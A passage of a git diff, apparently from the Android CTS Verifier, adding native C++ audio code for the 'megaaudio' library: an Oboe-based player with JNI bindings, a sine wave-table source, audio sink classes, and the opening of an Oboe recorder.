+void OboePlayer::onErrorBeforeClose(AudioStream *, oboe::Result error) {
+    __android_log_print(ANDROID_LOG_INFO, TAG, "==== onErrorBeforeClose() error:%d", error);
+}
+
+StreamBase::Result OboePlayer::setupStream(int32_t channelCount, int32_t sampleRate, int32_t routeDeviceId) {
+    __android_log_print(ANDROID_LOG_INFO, TAG, "setupStream()");
+
+    oboe::Result result = oboe::Result::ErrorInternal;
+    if (mAudioStream != nullptr) {
+        return ERROR_INVALID_STATE;
+    } else {
+        std::lock_guard<std::mutex> lock(mStreamLock);
+
+        mChannelCount = channelCount;
+        mSampleRate = sampleRate;
+        mRouteDeviceId = routeDeviceId;
+
+        // Create an audio stream
+        AudioStreamBuilder builder;
+        builder.setChannelCount(mChannelCount);
+        builder.setSampleRate(mSampleRate);
+        builder.setCallback(this);
+        builder.setPerformanceMode(PerformanceMode::LowLatency);
+        builder.setSharingMode(SharingMode::Exclusive);
+        builder.setSampleRateConversionQuality(SampleRateConversionQuality::None);
+        builder.setDirection(Direction::Output);
+        switch (mSubtype) {
+        case SUB_TYPE_OBOE_AAUDIO:
+            builder.setAudioApi(AudioApi::AAudio);
+            break;
+
+        case SUB_TYPE_OBOE_OPENSL_ES:
+            builder.setAudioApi(AudioApi::OpenSLES);
+            break;
+
+        default:
+           return ERROR_INVALID_STATE;
+        }
+
+        if (mRouteDeviceId != ROUTING_DEVICE_NONE) {
+            builder.setDeviceId(mRouteDeviceId);
+        }
+
+        mAudioSource->init(getNumBufferFrames() , mChannelCount);
+
+        result = builder.openStream(mAudioStream);
+        if (result != oboe::Result::OK){
+            __android_log_print(
+                    ANDROID_LOG_ERROR,
+                    TAG,
+                    "openStream failed. Error: %s", convertToText(result));
+        } else {
+            // Reduce stream latency by setting the buffer size to a multiple of the burst size
+            // Note: this will fail with ErrorUnimplemented if we are using a callback with OpenSL ES
+            // See oboe::AudioStreamBuffered::setBufferSizeInFrames
+            // This doesn't affect the success of opening the stream.
+            int32_t desiredSize = mAudioStream->getFramesPerBurst() * kBufferSizeInBursts;
+            mAudioStream->setBufferSizeInFrames(desiredSize);
+        }
+    }
+
+    return OboeErrorToMegaAudioError(result);
+}
+
+//
+// JNI functions
+//
+#include <jni.h>
+
+#include <android/log.h>
+
+extern "C" {
+JNIEXPORT JNICALL jlong
+Java_org_hyphonate_megaaudio_player_OboePlayer_allocNativePlayer(
+    JNIEnv *env, jobject thiz, jlong native_audio_source, jint playerSubtype) {
+    __android_log_print(ANDROID_LOG_INFO, TAG, "teardownStream()");
+
+    return (jlong)new OboePlayer((AudioSource*)native_audio_source, playerSubtype);
+}
+
+JNIEXPORT jint JNICALL Java_org_hyphonate_megaaudio_player_OboePlayer_setupStreamN(
+        JNIEnv *env, jobject thiz, jlong native_player,
+        jint channel_count, jint sample_rate, jint routeDeviceId) {
+    __android_log_print(ANDROID_LOG_INFO, TAG,
+        "Java_org_hyphonate_megaaudio_playerOboePlayer_startStreamN()");
+
+    OboePlayer* player = (OboePlayer*)native_player;
+    return player->setupStream(channel_count, sample_rate, routeDeviceId);
+}
+
+JNIEXPORT int JNICALL Java_org_hyphonate_megaaudio_player_OboePlayer_teardownStreamN(
+        JNIEnv *env, jobject thiz, jlong native_player) {
+    __android_log_print(ANDROID_LOG_INFO, TAG,
+        "Java_org_hyphonate_megaaudio_player_OboePlayer_teardownStreamN()");
+
+    OboePlayer* player = (OboePlayer*)native_player;
+    return player->teardownStream();
+}
+
+JNIEXPORT JNICALL jint Java_org_hyphonate_megaaudio_player_OboePlayer_startStreamN(
+        JNIEnv *env, jobject thiz, jlong native_player, jint playerSubtype) {
+    __android_log_print(ANDROID_LOG_INFO, TAG,
+        "Java_org_hyphonate_megaaudio_playerOboePlayer_startStreamN()");
+
+    return ((OboePlayer*)(native_player))->startStream();
+}
+
+JNIEXPORT JNICALL jint
+Java_org_hyphonate_megaaudio_player_OboePlayer_stopN(JNIEnv *env, jobject thiz, jlong native_player) {
+     __android_log_print(ANDROID_LOG_INFO, TAG,
+         "Java_org_hyphonate_megaaudio_player_OboePlayer_stopN()");
+
+   return ((OboePlayer*)(native_player))->stopStream();
+}
+
+JNIEXPORT jint JNICALL
+Java_org_hyphonate_megaaudio_player_OboePlayer_getBufferFrameCountN(JNIEnv *env, jobject thiz,  jlong native_player) {
+    return ((OboePlayer*)(native_player))->getNumBufferFrames();
+}
+
+JNIEXPORT jint JNICALL Java_org_hyphonate_megaaudio_player_OboePlayer_getRoutedDeviceIdN(JNIEnv *env, jobject thiz, jlong native_player) {
+    return ((OboePlayer*)(native_player))->getRoutedDeviceId();
+}
+
+} // extern "C"
diff --git a/apps/CtsVerifier/jni/megaaudio/player/OboePlayer.h b/apps/CtsVerifier/jni/megaaudio/player/OboePlayer.h
new file mode 100644
index 0000000..e1bb598
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/player/OboePlayer.h
@@ -0,0 +1,38 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef MEGA_PLAYER_OBOEPLAYER_H
+#define MEGA_PLAYER_OBOEPLAYER_H
+
+#include <oboe/Oboe.h>
+
+#include "Player.h"
+
+class OboePlayer : public Player, oboe::AudioStreamCallback {
+public:
+    OboePlayer(AudioSource* source, int playerSubtype);
+    virtual ~OboePlayer() {}
+
+    // Inherited from oboe::AudioStreamCallback
+    virtual oboe::DataCallbackResult onAudioReady(oboe::AudioStream *oboeStream, void *audioData,
+                                                    int32_t numFrames) override;
+    virtual void onErrorAfterClose(oboe::AudioStream *oboeStream, oboe::Result error) override;
+    virtual void onErrorBeforeClose(oboe::AudioStream * oboeStream, oboe::Result error) override;
+
+    virtual Result setupStream(int32_t channelCount, int32_t sampleRate, int32_t routeDeviceId) override;
+};
+
+#endif // MEGA_PLAYER_OBOEPLAYER_H
diff --git a/apps/CtsVerifier/jni/megaaudio/player/Player.h b/apps/CtsVerifier/jni/megaaudio/player/Player.h
new file mode 100644
index 0000000..be9ded3
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/player/Player.h
@@ -0,0 +1,33 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef MEGA_PLAYER_PLAYER_H
+#define MEGA_PLAYER_PLAYER_H
+
+#include <OboeStream.h>
+
+class AudioSource;
+
+class Player: public OboeStream {
+public:
+    Player(AudioSource* source, int32_t subtype) : OboeStream(subtype), mAudioSource(source) {}
+    virtual ~Player() {}
+
+protected:
+    std::shared_ptr<AudioSource>    mAudioSource;
+};
+
+#endif // MEGA_PLAYER_PLAYER_H
diff --git a/apps/CtsVerifier/jni/megaaudio/player/SinAudioSource.cpp b/apps/CtsVerifier/jni/megaaudio/player/SinAudioSource.cpp
new file mode 100644
index 0000000..97bf4df
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/player/SinAudioSource.cpp
@@ -0,0 +1,39 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "SinAudioSource.h"
+
+SinAudioSource::SinAudioSource() : WaveTableSource() {
+    float* waveTbl = new float[DEFAULT_WAVETABLE_LENGTH];
+    WaveTableSource::genSinWave(waveTbl, DEFAULT_WAVETABLE_LENGTH);
+
+    WaveTableSource::setWaveTable(waveTbl, DEFAULT_WAVETABLE_LENGTH);
+}
+
+//
+// JNI functions
+//
+#include <jni.h>
+
+#include <android/log.h>
+
+extern "C" {
+JNIEXPORT JNICALL jlong Java_org_hyphonate_megaaudio_player_sources_SinAudioSourceProvider_allocNativeSource(
+        JNIEnv *env, jobject thiz) {
+    return (jlong)new SinAudioSource();
+}
+
+} // extern "C"
diff --git a/apps/CtsVerifier/jni/megaaudio/player/SinAudioSource.h b/apps/CtsVerifier/jni/megaaudio/player/SinAudioSource.h
new file mode 100644
index 0000000..f4dc410
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/player/SinAudioSource.h
@@ -0,0 +1,28 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef MEGA_PLAYER_SINAUDIOSOURCE_H
+#define MEGA_PLAYER_SINAUDIOSOURCE_H
+
+#include "WaveTableSource.h"
+
+class SinAudioSource: public WaveTableSource {
+public:
+    SinAudioSource();
+};
+
+
+#endif // MEGA_PLAYER_SINAUDIOSOURCE_H
diff --git a/apps/CtsVerifier/jni/megaaudio/player/WaveTableSource.cpp b/apps/CtsVerifier/jni/megaaudio/player/WaveTableSource.cpp
new file mode 100644
index 0000000..30c38a4
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/player/WaveTableSource.cpp
@@ -0,0 +1,89 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <math.h>
+
+#include "WaveTableSource.h"
+
+/**
+ * Constructor. Sets up to play samples from the provided wave table.
+ * @param waveTbl Contains the samples defining a single cycle of the desired waveform.
+ */
+WaveTableSource::WaveTableSource() {
+    reset();
+}
+
+/**
+ * Calculates the "Nominal" frequency of the wave table.
+ */
+void WaveTableSource::calcFN() {
+    mFN = mSampleRate / (float)mNumWaveTableSamples;
+    mFNInverse = 1.0f / mFN;
+}
+
+int WaveTableSource::getNumChannels() {
+    return NUMCHANNELS_UNSPECIFIED;
+}
+
+int WaveTableSource::getEncoding() {
+    return ENCODING_FLOAT;
+}
+
+/**
+ * Fills the specified buffer with values generated from the wave table which will playback
+ * at the specified frequency.
+ *
+ * @param buffer The buffer to be filled.
+ * @param numFrames The number of frames of audio to provide.
+ * @param numChans The number of channels (in the buffer) required by the player.
+ * @return  The number of samples generated. Since we are generating a continuous periodic
+ * signal, this will always be <code>numFrames</code>.
+ */
+int WaveTableSource::pull(float* buffer, int numFrames, int numChans) {
+    float phaseIncr = mFreq * mFNInverse;
+    int outIndex = 0;
+    for (int frameIndex = 0; frameIndex < numFrames; frameIndex++) {
+        // 'mod' back into the waveTable
+        while (mSrcPhase >= (float)mNumWaveTableSamples) {
+            mSrcPhase -= (float)mNumWaveTableSamples;
+        }
+
+        // linear-interpolate
+        int srcIndex = (int)mSrcPhase;
+        float delta = mSrcPhase - (float)srcIndex;
+        float s0 = mWaveTable[srcIndex];
+        float s1 = mWaveTable[srcIndex + 1];
+        float value = s0 + ((s1 - s0) * delta);
+
+        // Put the same value in all channels.
+        for (int chanIndex = 0; chanIndex < numChans; chanIndex++) {
+            buffer[outIndex++] = value;
+        }
+
+        mSrcPhase += phaseIncr;
+    }
+
+    return numFrames;
+}
+
+/*
+ * Standard wavetable generators
+ */
+void WaveTableSource::genSinWave(float* buffer, int length) {
+    float incr = ((float)M_PI  * 2.0f) / (float)(length - 1);
+    for(int index = 0; index < length; index++) {
+        buffer[index] = sinf(index * incr);
+    }
+}
diff --git a/apps/CtsVerifier/jni/megaaudio/player/WaveTableSource.h b/apps/CtsVerifier/jni/megaaudio/player/WaveTableSource.h
new file mode 100644
index 0000000..9c66e62
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/player/WaveTableSource.h
@@ -0,0 +1,131 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef MEGA_PLAYER_WAVETABLESOURCE_H
+#define MEGA_PLAYER_WAVETABLESOURCE_H
+
+#include <memory>
+
+#include "AudioSource.h"
+
+class WaveTableSource: public AudioSource {
+public:
+    /**
+     * Constructor. Sets up to play samples from the provided wave table.
+     * @param waveTbl Contains the samples defining a single cycle of the desired waveform.
+     */
+    WaveTableSource();
+
+    /**
+     * Sets up to play samples from the provided wave table.
+     * @param waveTbl Contains the samples defining a single cycle of the desired waveform.
+     *                This wave table contains a redundant sample in the last slot (== first slot)
+     *                to make the interpolation calculation simpler, so the logical length of
+     *                the wave table is one less than the length of the array.
+     * NOTE: WaveTableSource DOES NOT take ownership of the wave table. The user of WaveTableSource
+     * is responsible for managing the lifetime of othe wave table.
+     */
+    void setWaveTable(float* waveTable, int length) {
+        mWaveTable = waveTable;
+        mNumWaveTableSamples = length - 1;
+
+        calcFN();
+    }
+
+    /**
+     * Sets the playback sample rate for which samples will be generated.
+     * @param sampleRate
+     */
+    void setSampleRate(float sampleRate) {
+        mSampleRate = sampleRate;
+        calcFN();
+    }
+
+    /**
+     * Set the frequency of the output signal.
+     * @param freq  Signal frequency in Hz.
+     */
+    void setFreq(float freq) {
+        mFreq = freq;
+    }
+
+    /**
+     * Resets the playback position to the 1st sample.
+     */
+    void reset()  override {
+        mSrcPhase = 0.0f;
+    }
+
+    virtual int getNumChannels() override;
+
+    virtual int getEncoding() override;
+
+    /**
+     * Fills the specified buffer with values generated from the wave table which will playback
+     * at the specified frequency.
+     *
+     * @param buffer The buffer to be filled.
+     * @param numFrames The number of frames of audio to provide.
+     * @param numChans The number of channels (in the buffer) required by the player.
+     * @return  The number of samples generated. Since we are generating a continuous periodic
+     * signal, this will always be <code>numFrames</code>.
+     */
+    virtual int pull(float* buffer, int numFrames, int numChans) override;
+
+    /*
+     * Standard wavetable generators
+     */
+    static void genSinWave(float* buffer, int length);
+
+protected:
+    static const int DEFAULT_WAVETABLE_LENGTH = 2049;
+
+    /**
+     * Calculates the "Nominal" frequency of the wave table.
+     */
+    void calcFN();
+
+    /** The samples defining one cycle of the waveform to play */
+    //TODO - make this a shared_ptr
+    float*  mWaveTable;
+
+    /** The number of samples in the wave table. Note that the wave table is presumed to contain
+     * an "extra" sample (a copy of the 1st sample) in order to simplify the interpolation
+     * calculation. Thus, this value will be 1 less than the length of mWaveTable.
+     */
+    int mNumWaveTableSamples;
+
+    /** The phase (offset within the wave table) of the next output sample.
+     *  Note that this may (will) be a fractional value. Range 0.0 -> mNumWaveTableSamples.
+     */
+    float mSrcPhase;
+
+    /** The sample rate at which playback occurs */
+    float mSampleRate = 48000;  // This seems likely, but can be changed
+
+    /** The frequency of the generated audio signal */
+    float mFreq = 1000;         // Some reasonable default frequency
+
+    /** The "Nominal" frequency of the wavetable. i.e., the frequency that would be generated if
+     * each sample in the wave table was sent in turn to the output at the specified sample rate.
+     */
+    float mFN;
+
+    /** 1 / mFN. Calculated when mFN is set to avoid a division on each call to fill() */
+    float mFNInverse;
+};
+
+#endif // MEGA_PLAYER_WAVETABLESOURCE_H
diff --git a/apps/CtsVerifier/jni/megaaudio/recorder/AppCallbackAudioSink.cpp b/apps/CtsVerifier/jni/megaaudio/recorder/AppCallbackAudioSink.cpp
new file mode 100644
index 0000000..1f80091
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/recorder/AppCallbackAudioSink.cpp
@@ -0,0 +1,107 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <jni.h>
+
+#include <android/log.h>
+
+#include "AppCallbackAudioSink.h"
+
+static const char * const TAG = "AppCallbackAudioSink";
+
+AppCallbackAudioSink::AppCallbackAudioSink(JNIEnv *env, jobject callbackObj) {
+    jint rs = env->GetJavaVM(&mJVM);
+    mCallbackObj = env->NewGlobalRef(callbackObj);
+
+    jclass callbackClass = env->GetObjectClass(mCallbackObj);
+    mMIDonDataReady = env->GetMethodID(callbackClass, "onDataReady", "([FI)V");
+}
+
+void AppCallbackAudioSink::init(int numFrames, int numChannels) {
+    JNIEnv * env;
+    int getEnvStat = mJVM->GetEnv((void **)&env, JNI_VERSION_1_6);
+
+    if (getEnvStat == JNI_EDETACHED) {
+        int rs = mJVM->AttachCurrentThread(&env, NULL);
+    }
+
+    mAudioDataArrayLength = numChannels * numFrames;
+    mAudioDataArray = env->NewFloatArray(mAudioDataArrayLength);
+    mAudioDataArray = (jfloatArray)env->NewGlobalRef(mAudioDataArray);
+
+    if (getEnvStat == JNI_EDETACHED) {
+        mJVM->DetachCurrentThread();
+    }
+}
+
+void AppCallbackAudioSink::start() {
+}
+
+void AppCallbackAudioSink::stop() {
+    JNIEnv * env;
+    int getEnvStat = mJVM->GetEnv((void **)&env, JNI_VERSION_1_6);
+
+    if (getEnvStat == JNI_EDETACHED) {
+        int rs = mJVM->AttachCurrentThread(&env, NULL);
+    }
+
+    releaseJNIResources(env);
+
+    if (getEnvStat == JNI_EDETACHED) {
+        mJVM->DetachCurrentThread();
+    }
+}
+
+void AppCallbackAudioSink::push(float* audioData, int numFrames, int numChannels) {
+//    __android_log_print(ANDROID_LOG_INFO, TAG, "push(numFrames:%d, numChannels:%d)",
+//                        numFrames, numChannels);
+
+    // Get the local JNI env
+    JNIEnv * env;
+    int getEnvStat = mJVM->GetEnv((void **)&env, JNI_VERSION_1_6);
+
+    if (getEnvStat == JNI_EDETACHED) {
+        int rs = mJVM->AttachCurrentThread(&env, NULL);
+    }
+
+    // put the float* into a jfloatarray
+    env->SetFloatArrayRegion(mAudioDataArray, 0, mAudioDataArrayLength, audioData);
+    env->CallVoidMethod(mCallbackObj, mMIDonDataReady, mAudioDataArray, numFrames);
+
+    if (getEnvStat == JNI_EDETACHED) {
+        mJVM->DetachCurrentThread();
+    }
+}
+
+void AppCallbackAudioSink::releaseJNIResources(JNIEnv *env) {
+    env->DeleteGlobalRef(mCallbackObj);
+}
+
+extern "C" {
+JNIEXPORT jlong JNICALL
+Java_org_hyphonate_megaaudio_recorder_sinks_AppCallbackAudioSinkProvider_allocOboeSinkN(
+        JNIEnv *env, jobject thiz, jobject callback_obj) {
+    AppCallbackAudioSink* sink = new AppCallbackAudioSink(env, callback_obj);
+    return (jlong)sink;
+}
+
+JNIEXPORT void JNICALL
+Java_org_hyphonate_megaaudio_recorder_sinks_AppCallbackAudioSinkProvider_releaseJNIResourcesN(
+        JNIEnv *env, jobject thiz, jlong oboe_sink) {
+    AppCallbackAudioSink* sink = (AppCallbackAudioSink*)oboe_sink;
+    sink->releaseJNIResources(env);
+}
+
+} // extern "C"
diff --git a/apps/CtsVerifier/jni/megaaudio/recorder/AppCallbackAudioSink.h b/apps/CtsVerifier/jni/megaaudio/recorder/AppCallbackAudioSink.h
new file mode 100644
index 0000000..fc4dac9
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/recorder/AppCallbackAudioSink.h
@@ -0,0 +1,46 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef SMOKEPLAYER_APPCALLBACKAUDIOSINK_H
+#define SMOKEPLAYER_APPCALLBACKAUDIOSINK_H
+
+#include <jni.h>
+
+#include "AudioSink.h"
+
+class AppCallbackAudioSink: public AudioSink {
+public:
+    AppCallbackAudioSink(JNIEnv *env, jobject callbackObj);
+
+    virtual void init(int numFrames, int numChannels) override;
+    virtual void start() override;
+    virtual void stop() override;
+
+    virtual void push(float* audioData, int numFrames, int numChannels) override;
+
+    void releaseJNIResources(JNIEnv *env);
+
+private:
+    // JNI Stuff
+    JavaVM* mJVM;
+    jobject mCallbackObj;
+    jmethodID mMIDonDataReady;
+
+    jfloatArray mAudioDataArray;
+    int mAudioDataArrayLength;
+};
+
+#endif //SMOKEPLAYER_APPCALLBACKAUDIOSINK_H
diff --git a/apps/CtsVerifier/jni/megaaudio/recorder/AudioSink.h b/apps/CtsVerifier/jni/megaaudio/recorder/AudioSink.h
new file mode 100644
index 0000000..1d764a9
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/recorder/AudioSink.h
@@ -0,0 +1,31 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef SMOKEPLAYER_AUDIOSINK_H
+#define SMOKEPLAYER_AUDIOSINK_H
+
+class AudioSink {
+public:
+    virtual ~AudioSink() {}
+
+    virtual void init(int numFrames, int numChannels) {}
+    virtual void start() {}
+    virtual void stop() {}
+
+    virtual void push(float* audioData, int numFrames, int numChannels) = 0;
+};
+
+#endif //SMOKEPLAYER_AUDIOSINK_H
diff --git a/apps/CtsVerifier/jni/megaaudio/recorder/DefaultAudioSink.cpp b/apps/CtsVerifier/jni/megaaudio/recorder/DefaultAudioSink.cpp
new file mode 100644
index 0000000..07d4325
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/recorder/DefaultAudioSink.cpp
@@ -0,0 +1,32 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <android/log.h>
+
+#include "DefaultAudioSink.h"
+
+static const char * const TAG = "DefaultAudioSink";
+
+void DefaultAudioSink::start() {
+
+}
+
+void DefaultAudioSink::stop() {
+
+}
+
+void DefaultAudioSink::push(float* audioData, int numChannels, int numFrames) {
+    __android_log_print(ANDROID_LOG_INFO, TAG, "process()");
+}
diff --git a/apps/CtsVerifier/jni/megaaudio/recorder/DefaultAudioSink.h b/apps/CtsVerifier/jni/megaaudio/recorder/DefaultAudioSink.h
new file mode 100644
index 0000000..a0e9ed4
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/recorder/DefaultAudioSink.h
@@ -0,0 +1,29 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef MEGA_RECORDER_DEFAULTAUDIOSINK_H
+#define MEGA_RECORDER_DEFAULTAUDIOSINK_H
+
+#include "AudioSink.h"
+
+class DefaultAudioSink: public AudioSink {
+    virtual void start();
+    virtual void stop();
+
+    virtual void push(float* audioData, int numChannels, int numFrames) ;
+};
+
+#endif // EGA_RECORDER_DEFAULTAUDIOSINK_H
diff --git a/apps/CtsVerifier/jni/megaaudio/recorder/NativeAudioSink.cpp b/apps/CtsVerifier/jni/megaaudio/recorder/NativeAudioSink.cpp
new file mode 100644
index 0000000..7de76c8
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/recorder/NativeAudioSink.cpp
@@ -0,0 +1,62 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <jni.h>
+
+#include "AudioSink.h"
+
+//TODO - Probably wrap the JNI handling in a class with a pointer held in the Java Object
+// so as to support multiple instances... maybe.
+
+// JNI Stuff
+static float* sAudioBuffer;
+
+extern "C" {
+JNIEXPORT void JNICALL
+Java_org_hyphonate_megaaudio_recorder_NativeAudioSink_initN(JNIEnv * env , jobject thiz,
+        jlong native_sink_ptr , jint num_frames, jint num_chans ) {
+    sAudioBuffer = new float[num_frames * num_chans];
+
+    // this is in the wrong place, or rather we need an init() method of AudioSink to call.
+    AudioSink* sink = (AudioSink*)native_sink_ptr;
+    sink->init(num_frames, num_chans);
+}
+
+JNIEXPORT void JNICALL
+Java_org_hyphonate_megaaudio_recorder_NativeAudioSink_startN(JNIEnv *env, jobject thiz, jlong native_sink_ptr) {
+    AudioSink* sink = (AudioSink*)native_sink_ptr;
+    sink->start();
+}
+
+JNIEXPORT void JNICALL
+Java_org_hyphonate_megaaudio_recorder_NativeAudioSink_stopN(JNIEnv *env, jobject thiz, jlong native_sink_ptr) {
+    AudioSink* sink = (AudioSink*)native_sink_ptr;
+    sink->stop();
+}
+
+JNIEXPORT void JNICALL
+Java_org_hyphonate_megaaudio_recorder_NativeAudioSink_pushN(
+        JNIEnv *env, jobject thiz, jlong native_sink_ptr,
+        jfloatArray audio_data, jint num_frames, jint num_chans) {
+        AudioSink * audioSink = (AudioSink*)native_sink_ptr;
+
+    // convert to float[]
+    float* nativeAudioData = env->GetFloatArrayElements(audio_data, 0);
+
+    audioSink->push(nativeAudioData, num_frames, num_chans);
+}
+
+} // extern "C"
diff --git a/apps/CtsVerifier/jni/megaaudio/recorder/OboeRecorder.cpp b/apps/CtsVerifier/jni/megaaudio/recorder/OboeRecorder.cpp
new file mode 100644
index 0000000..8d249f1
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/recorder/OboeRecorder.cpp
@@ -0,0 +1,175 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <android/log.h>
+
+#include "OboeRecorder.h"
+
+#include "AudioSink.h"
+
+static const char * const TAG = "OboeRecorder(native)";
+
+using namespace oboe;
+
+constexpr int32_t kBufferSizeInBursts = 2; // Use 2 bursts as the buffer size (double buffer)
+
+OboeRecorder::OboeRecorder(AudioSink* sink, int32_t subtype)
+        : Recorder(sink, subtype),
+          mInputPreset(-1)
+{}
+
+//
+// State
+//
+StreamBase::Result OboeRecorder::setupStream(
+    int32_t channelCount, int32_t sampleRate, int32_t routeDeviceId)
+{
+    //TODO much of this could be pulled up into OboeStream.
+
+    std::lock_guard<std::mutex> lock(mStreamLock);
+
